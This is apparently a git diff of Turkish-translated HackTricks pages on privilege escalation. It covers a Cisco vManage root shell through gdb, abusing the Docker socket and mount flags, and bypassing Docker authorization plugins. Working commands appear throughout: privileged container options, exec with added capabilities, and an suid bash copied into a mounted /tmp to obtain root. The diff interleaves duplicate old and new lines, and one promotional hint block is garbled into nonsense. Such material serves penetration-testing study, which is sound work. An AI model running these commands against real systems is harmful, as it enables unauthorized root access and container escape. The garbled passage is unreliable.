To exploit this vulnerability, an attacker needs to identify the vulnerable input fields or the file upload functionality. Once the attacker successfully injects the malicious code or uploads the malicious file, they can execute arbitrary commands on the underlying operating system with the privileges of the application.
## Conclusion
Privilege escalation in Cisco vManage can be achieved through default credentials, command injection, file upload, and remote code execution vulnerabilities. It is important to secure Cisco vManage by changing the default credentials, implementing input validation, and properly validating uploaded files. Regular security assessments and patching are also recommended to mitigate these vulnerabilities.
Konsol Çıktısı:
```
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
@ -190,14 +157,17 @@ root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuzu**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,28 +1,33 @@
# Docker Soketini İstismar Ederek Yetki Yükseltme
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
Bazı durumlarda sadece **docker soketine erişiminiz** vardır ve bunu kullanarak **yetkileri yükseltmek** istersiniz. Bazı eylemler çok şüpheli olabilir ve bunlardan kaçınmak isteyebilirsiniz, bu yüzden yetkileri yükseltmek için kullanışlı olabilecek farklı bayrakları burada bulabilirsiniz:
Bazen sadece **docker soketine erişiminiz** olur ve bunu **yetki yükseltmek** için kullanmak istersiniz. Bazı eylemler çok şüpheli olabilir ve bunlardan kaçınmak isteyebilirsiniz, bu yüzden burada yetki yükseltmek için faydalı olabilecek farklı bayraklar bulabilirsiniz:
### Mount ile
### Mount Üzerinden
Kök olarak çalışan bir konteynerde **dosya sisteminin** farklı bölümlerini **mount** edebilir ve **erişebilirsiniz**.\
Ayrıca bir mount'u kullanarak konteyner içinde yetkileri yükseltebilirsiniz.
Farklı **dosya sistemi** parçalarını kök olarak çalışan bir konteynerde **mount** edebilir ve bunlara **erişebilirsiniz**.\
Ayrıca konteyner içinde **yetki yükseltmek için bir mount'u istismar edebilirsiniz**.
* **`-v /:/host`** -> Ana bilgisayar dosya sistemi konteynere mount edilir, böylece **ana bilgisayar dosya sistemini okuyabilirsiniz**.
* Ana bilgisayarda olduğunuz hissini vermek istiyorsanız, diğer savunma mekanizmalarını devre dışı bırakarak bayraklar kullanabilirsiniz:
* **`-v /:/host`** -> Ana bilgisayar dosya sistemini konteynerde mount edin, böylece **ana bilgisayar dosya sistemini okuyabilirsiniz.**
* Ana bilgisayarda **bulunduğunuz hissini** yaşamak istiyorsanız ama konteynerde iseniz, şunları kullanarak diğer savunma mekanizmalarını devre dışı bırakabilirsiniz:
* `--privileged`
* `--cap-add=ALL`
* `--security-opt apparmor=unconfined`
@ -32,41 +37,46 @@ Ayrıca bir mount'u kullanarak konteyner içinde yetkileri yükseltebilirsiniz.
* `--userns=host`
* `--uts=host`
* `--cgroupns=host`
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Bu, önceki yönteme benzer, ancak burada **cihaz diski mount ediliyoruz**. Ardından, konteyner içinde `mount /dev/sda1 /mnt` komutunu çalıştırarak **ana bilgisayar dosya sistemine** `/mnt` üzerinden **erişebilirsiniz**.
* Ana bilgisayarda `fdisk -l` komutunu çalıştırarak `</dev/sda1>` cihazını mount etmek için bulun
* **`-v /tmp:/host`** -> Herhangi bir nedenle sadece ana bilgisayardan bazı dizinleri mount edebilir ve ana bilgisayarda erişiminiz varsa. Mount edin ve mount edilen dizinde **suid** ile **`/bin/bash`** oluşturun, böylece ana bilgisayardan çalıştırabilir ve root'a yükseltebilirsiniz.
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Bu, önceki yönteme benzer, ancak burada **cihaz diskini mount ediyoruz**. Ardından, konteyner içinde `mount /dev/sda1 /mnt` komutunu çalıştırın ve **/mnt**'de **ana bilgisayar dosya sistemine** erişebilirsiniz.
* Mount etmek için `</dev/sda1>` cihazını bulmak için ana bilgisayarda `fdisk -l` komutunu çalıştırın.
* **`-v /tmp:/host`** -> Herhangi bir nedenle sadece ana bilgisayardan bazı dizinleri **mount edebiliyorsanız** ve ana bilgisayarda erişiminiz varsa. Mount edin ve mount edilen dizinde **suid** ile bir **`/bin/bash`** oluşturun, böylece **ana bilgisayardan çalıştırabilir ve root'a yükselebilirsiniz**.
{% hint style="info" %}
Belki `/tmp` klasörünü mount edemeyebilirsiniz, ancak **farklı yazılabilir bir klasörü** mount edebilirsiniz. Yazılabilir dizinleri şu komutu kullanarak bulabilirsiniz: `find / -writable -type d 2>/dev/null`
Belirli bir nedenle `/tmp` dizinini mount edemeyebilirsiniz, ancak **farklı bir yazılabilir dizini** mount edebilirsiniz. Yazılabilir dizinleri bulmak için: `find / -writable -type d 2>/dev/null` komutunu kullanabilirsiniz.
**Linux makinesindeki tüm dizinlerin suid bitini desteklemeyeceğini unutmayın!** Suid bitini destekleyen dizinleri kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin, genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez.
**Unutmayın ki, bir linux makinesindeki tüm dizinler suid bitini desteklemeyecektir!** Hangi dizinlerin suid bitini desteklediğini kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez.
Ayrıca, **`/etc`** veya **yapılandırma dosyalarını içeren başka bir klasörü** mount edebiliyorsanız, kök olarak docker konteynerinde bunları değiştirerek ana bilgisayarda **istismar etmek** ve yetkileri yükseltmek için kullanabilirsiniz (belki `/etc/shadow`'u değiştirerek).
Ayrıca, eğer **`/etc`** veya **konfigürasyon dosyalarını içeren** başka bir dizini **mount edebiliyorsanız**, bunları docker konteynerinden root olarak değiştirip **ana bilgisayarda istismar edebilir** ve yetki yükseltebilirsiniz (belki `/etc/shadow`'ı değiştirerek).
{% endhint %}
### Konteynerden Kaçma
### Konteynerden Kaçış
* **`--privileged`** -> Bu bayrakla konteynerden [tüm izolasyonu kaldırırsınız](docker-privileged.md#what-affects). Kök olarak ayrıcalıklı konteynerlerden kaçmak için teknikleri kontrol edin (docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [Yetenekleri istismar etmek](../linux-capabilities.md) için, **o yeteneği konteynere verin** ve çalışmasını engelleyebilecek diğer koruma yöntemlerini devre dışı bırakın.
* **`--privileged`** -> Bu bayrak ile [konteynerden tüm izolasyonu kaldırırsınız](docker-privileged.md#what-affects). [Köktan yetkili konteynerlerden kaçış tekniklerini](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape) kontrol edin.
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [yetki yükseltmek için yetenekleri istismar etmek](../linux-capabilities.md), **bu yeteneği konteynere verin** ve istismarın çalışmasını engelleyebilecek diğer koruma yöntemlerini devre dışı bırakın.
### Curl
Bu sayfada docker bayraklarını kullanarak yetkileri yükseltme yöntemlerini tartıştık, bu yöntemleri **curl** komutunu kullanarak nasıl istismar edeceğinizi sayfada bulabilirsiniz:
Bu sayfada docker bayraklarını kullanarak yetki yükseltme yollarını tartıştık, **curl** komutunu kullanarak bu yöntemleri istismar etmenin yollarını bulabilirsiniz:
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,83 +1,88 @@
<details>
{% hnnt styte=" acceas" %}
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<dotsilp>
HackTricks'ı desteklemenin diğer yolları:
<oummpr>SupportHackTricks</smmay>
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
*Chek th [**subsrippangithub.cm/sorsarlosp!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
Docker'ın varsayılan yetkilendirme modeli "hepsi ya da hiçbiri" şeklindedir. Docker daemon'a erişim izni olan herhangi bir kullanıcı, herhangi bir Docker istemci komutunu çalıştırabilir. Aynısı, Docker'ın Engine API'sini kullanarak daemon ile iletişim kuran çağrılar için de geçerlidir. Daha fazla erişim kontrolü gerektiğinde, yetkilendirme eklentileri oluşturabilir ve bunları Docker daemon yapılandırmanıza ekleyebilirsiniz. Bir yetkilendirme eklentisi kullanarak, bir Docker yöneticisi Docker daemon'a erişimi yönetmek için ayrıntılı erişim politikaları yapılandırabilir.
**Dockerın** kutudan çıktığı gibi **yetkilendirme** modeli **ya hepsi ya hiçbiri** şeklindedir. Docker daemona erişim izni olan herhangi bir kullanıcı, **herhangi bir** Docker istemci **komutunu** **çalıştırabilir**. Bu, Dockerın Engine APIsini kullanarak daemona ulaşan çağrılar için de geçerlidir. Eğer **daha fazla erişim kontrolü** gerekiyorsa, **yetkilendirme eklentileri** oluşturabilir ve bunları Docker daemon yapılandırmanıza ekleyebilirsiniz. Bir yetkilendirme eklentisi kullanarak, bir Docker yöneticisi Docker daemona erişimi yönetmek için **ayrıntılı erişim** politikaları **yapılandırabilir**.
# Temel mimari
Docker Auth eklentileri, Docker Daemon'a yapılan isteklerin kullanıcıya ve istenen eyleme bağlı olarak Docker Daemon tarafından kabul edilip edilmeyeceğini belirleyen harici eklentilerdir.
Docker Auth eklentileri, **kullanıcı** tarafından talep edilen **hareketleri** Docker Daemona **izin verme/red etme** amacıyla kullanabileceğiniz **harici** **eklenti**lerdir.
**[Aşağıdaki bilgiler dokümantasyondan alınmıştır](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
**[Aşağıdaki bilgi belgelerden alınmıştır](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
CLI veya Engine API aracılığıyla Docker daemon'a yapılan bir HTTP isteği, kimlik doğrulama alt sistemi tarafından yüklü kimlik doğrulama eklentisine iletilir. İstek, kullanıcı (çağrı yapan) ve komut bağlamını içerir. Eklenti, isteği kabul etmek veya reddetmek için sorumludur.
Bir **HTTP** **isteği**, CLI aracılığıyla veya Engine APIsi üzerinden Docker **daemon**ına yapıldığında, **kimlik doğrulama** **alt sistemi** isteği yüklü **kimlik doğrulama** **eklenti**(ler)ine **gönderir**. İstek, kullanıcı (çağrıcı) ve komut bağlamını içerir. **Eklenti**, isteği **izin verme** veya **red etme** kararı vermekten sorumludur.
Aşağıdaki sıra diyagramları, izin verme ve reddetme yetkilendirme akışını göstermektedir:
Aşağıdaki sıralama diyagramları, izin verme ve red etme yetkilendirme akışını göstermektedir:
![Yetkilendirme İzin Verme Akışı](https://docs.docker.com/engine/extend/images/authz_allow.png)
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz\_allow.png)
![Yetkilendirme Reddetme Akışı](https://docs.docker.com/engine/extend/images/authz_deny.png)
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz\_deny.png)
Eklentiye gönderilen her istek, kimlik doğrulanmış kullanıcıyı, HTTP başlıklarını ve istek/yanıt gövdesini içerir. Sadece kullanıcı adı ve kullanılan kimlik doğrulama yöntemi eklentiye iletilir. En önemlisi, kullanıcı kimlik bilgileri veya belirteçleri iletilmez. Son olarak, tüm istek/yanıt gövdeleri yetkilendirme eklentisine gönderilmez. Yalnızca `Content-Type`'ı `text/*` veya `application/json` olan istek/yanıt gövdeleri gönderilir.
Eklentiye gönderilen her istek, **kimlik doğrulaması yapılmış kullanıcıyı, HTTP başlıklarını ve istek/yanıt gövdesini** içerir. Sadece **kullanıcı adı** ve kullanılan **kimlik doğrulama yöntemi** eklentiye iletilir. En önemlisi, **hiçbir** kullanıcı **kimlik bilgisi** veya token iletilmez. Son olarak, **tüm istek/yanıt gövdeleri** yetkilendirme eklentisine gönderilmez. Sadece `Content-Type` değeri `text/*` veya `application/json` olan istek/yanıt gövdeleri gönderilir.
HTTP bağlantısını ele geçirebilecek komutlar (`HTTP Upgrade`) için (örneğin `exec` gibi), yetkilendirme eklentisi yalnızca başlangıç HTTP istekleri için çağrılır. Eklenti komutu onayladığında, yetkilendirme geri kalan akışa uygulanmaz. Özellikle, akış verileri yetkilendirme eklentilerine iletilmez. `logs` ve `events` gibi parçalı HTTP yanıtı döndüren komutlar için, yalnızca HTTP isteği yetkilendirme eklentilerine gönderilir.
HTTP bağlantısını potansiyel olarak ele geçirebilecek komutlar (`HTTP Upgrade`), örneğin `exec`, için yetkilendirme eklentisi yalnızca ilk HTTP istekleri için çağrılır. Eklenti komutu onayladıktan sonra, yetkilendirme akışın geri kalanına uygulanmaz. Özellikle, akış verileri yetkilendirme eklentilerine iletilmez. Parçalı HTTP yanıtı döndüren komutlar, örneğin `logs` ve `events`, için yalnızca HTTP isteği yetkilendirme eklentilerine gönderilir.
İstek/yanıt işleme sırasında, bazı yetkilendirme akışlarının Docker daemon'a ek sorgular yapması gerekebilir. Bu tür akışları tamamlamak için, eklentiler düzenli bir kullanıcı gibi daemon API'sini çağırabilir. Bu ek sorguları etkinleştirmek için, eklenti, bir yöneticinin uygun kimlik doğrulama ve güvenlik politikalarını yapılandırabilmesi için araçlar sağlamalıdır.
İstek/yanıt işleme sırasında, bazı yetkilendirme akışları Docker daemona ek sorgular yapmayı gerektirebilir. Bu tür akışları tamamlamak için, eklentiler, normal bir kullanıcı gibi daemon APIsini çağırabilir. Bu ek sorguları etkinleştirmek için, eklenti, bir yöneticinin uygun kimlik doğrulama ve güvenlik politikalarını yapılandırması için gerekli araçları sağlamalıdır.
## Birden Fazla Eklenti
## Birkaç Eklenti
Eklentinizi Docker daemon başlangıcının bir parçası olarak **kaydetmek** sizin sorumluluğunuzdadır. Birden fazla eklenti kurabilir ve birbirine bağlayabilirsiniz. Bu zincir sıralanabilir. Her istek, zincir üzerinden sırayla geçer. Kaynağa erişim, tüm eklentilerin erişimi onaylaması durumunda sağlanır.
**Eklentinizi** Docker daemon **başlangıcı** sırasında **kaydetmekten** siz sorumlusunuz. **Birden fazla eklenti yükleyebilir ve bunları bir araya getirebilirsiniz**. Bu zincir sıralı olabilir. Daemona yapılan her istek, zincir boyunca sırayla geçer. **Tüm eklentiler kaynağa erişim izni verdiğinde**, erişim izni verilir.
# Eklenti Örnekleri
## Twistlock AuthZ Broker
[**authz**](https://github.com/twistlock/authz) eklentisi, her kullanıcının hangi API uç noktalarına erişebileceğini çok kolay bir şekilde kontrol etmenizi sağlayan bir **JSON** dosyası oluşturmanıza izin verir.
Eklenti [**authz**](https://github.com/twistlock/authz), **istekleri yetkilendirmek için** eklentinin **okuyacağı** basit bir **JSON** dosyası oluşturmanıza olanak tanır. Bu nedenle, her API uç noktasının hangi kullanıcılar tarafından erişilebileceğini çok kolay bir şekilde kontrol etme fırsatı sunar.
İşte Alice ve Bob'un yeni konteynerler oluşturmasına izin veren bir örnek: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
Bu, Alice ve Bobun yeni konteynerler oluşturmasına izin verecek bir örnektir: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
İstenen URL ile eylem arasındaki ilişkiyi [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) sayfasında bulabilirsiniz. Eylem adı ile eylem arasındaki ilişkiyi [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) sayfasında bulabilirsiniz.
[route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) sayfasında, istenen URL ile eylem arasındaki ilişkiyi bulabilirsiniz. [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) sayfasında ise eylem adı ile eylem arasındaki ilişkiyi bulabilirsiniz.
## Basit Eklenti Öğretici
## Basit Eklenti Eğitimi
Kurulum ve hata ayıklama hakkında ayrıntılı bilgi içeren **anlaşılması kolay bir eklenti**yi [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) adresinde bulabilirsiniz.
Kurulum ve hata ayıklama hakkında ayrıntılı bilgiye sahip **anlaşılması kolay bir eklenti** bulabilirsiniz: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
Nasıl çalıştığını anlamak için `README` ve `plugin.go` kodunu okuyun.
# Docker Auth Eklenti Atlatma
## Erişimi Sırala
## Erişimi Belirleme
Kontrol edilmesi gereken temel şeyler **hangi uç noktaların izin verildiği** ve **Hangi HostConfig değerlerinin izin verildiği**dir.
Kontrol edilmesi gereken ana şeyler, **hangi uç noktaların izin verildiği** ve **hangi HostConfig değerlerinin izin verildiğidir**.
Bu sıralamayı yapmak için [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler) aracını kullanabilirsiniz.
Bu belirlemeyi yapmak için **şu aracı kullanabilirsiniz** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.**
## Yasaklanan `run --privileged`
## izin verilmeyen `run --privileged`
### Minimum Yetkiler
```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```
### Bir konteyner çalıştırma ve ardından ayrıcalıklı bir oturum elde etme
### Bir konteyner çalıştırmak ve ardından ayrıcalıklı bir oturum almak
Bu durumda sistem yöneticisi, kullanıcıların `--privileged` bayrağıyla birlikte hacimleri bağlamasını ve konteynere herhangi bir ek yetenek vermesini **yasakladı**:
Bu durumda sistem yöneticisi **kullanıcıların hacimleri bağlamasını ve `--privileged` bayrağı ile konteyner çalıştırmasını** veya konteynere herhangi bir ek yetenek vermesini engelledi:
```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```
Ancak, bir kullanıcı **çalışan konteyner içinde bir kabuk oluşturabilir ve ek ayrıcalıklar verebilir**:
Ancak, bir kullanıcı **çalışan konteyner içinde bir shell oluşturabilir ve ona ek ayrıcalıklar verebilir**:
```bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
@ -89,11 +94,11 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```
Şimdi, kullanıcı önceden tartışılan tekniklerden herhangi birini kullanarak konteynerden kaçabilir ve ana bilgisayarda ayrıcalıkları yükseltebilir.
Şimdi, kullanıcı [**daha önce tartışılan tekniklerden**](./#privileged-flag) herhangi birini kullanarak konteynerden çıkabilir ve **yetkileri artırabilir**.
## Yazılabilir Klasörü Bağlama
Bu durumda sistem yöneticisi, kullanıcıların konteyneri `--privileged` bayrağıyla çalıştırmalarını veya konteynere herhangi bir ek yetenek vermesini engelledi ve yalnızca `/tmp` klasörünü bağlamalarına izin verdi:
Bu durumda sistem yöneticisi **kullanıcıların `--privileged` bayrağı ile konteyner çalıştırmalarını yasakladı** veya konteynere herhangi bir ek yetki vermedi ve yalnızca `/tmp` klasörünü bağlamalarına izin verdi:
```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
@ -103,25 +108,24 @@ host> /tmp/bash
-p #This will give you a shell as root
```
{% hint style="info" %}
Not: Belki `/tmp` klasörünü bağlayamazsınız, ancak **farklı yazılabilir bir klasörü** bağlayabilirsiniz. Yazılabilir dizinleri şu komutla bulabilirsiniz: `find / -writable -type d 2>/dev/null`
Not edin ki `/tmp` klasörünü bağlayamayabilirsiniz ama **farklı bir yazılabilir klasör** bağlayabilirsiniz. Yazılabilir dizinleri bulmak için: `find / -writable -type d 2>/dev/null` komutunu kullanabilirsiniz.
**Not: Bir Linux makinesindeki tüm dizinler suid bitini desteklemeyebilir!** Suid bitini destekleyen dizinleri kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin, genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez.
**Not edin ki bir linux makinesindeki tüm dizinler suid bitini desteklemeyecektir!** Hangi dizinlerin suid bitini desteklediğini kontrol etmek için `mount | grep -v "nosuid"` komutunu çalıştırın. Örneğin genellikle `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` ve `/var/lib/lxcfs` suid bitini desteklemez.
Ayrıca, **`/etc`** veya **yapılandırma dosyalarını içeren başka bir klasörü** bağlayabilirseniz, kök olarak docker konteynerinden bu dosyaları kötüye kullanarak ayrıcalıkları yükseltebilirsiniz (belki `/etc/shadow` dosyasını değiştirerek).
Ayrıca, eğer **`/etc`** veya **konfigürasyon dosyalarını içeren** başka bir klasörü bağlayabiliyorsanız, bunları docker konteynerinden root olarak değiştirip **host'ta kötüye kullanmak** ve ayrıcalıkları artırmak için (belki `/etc/shadow` dosyasını değiştirerek) kullanabilirsiniz.
{% endhint %}
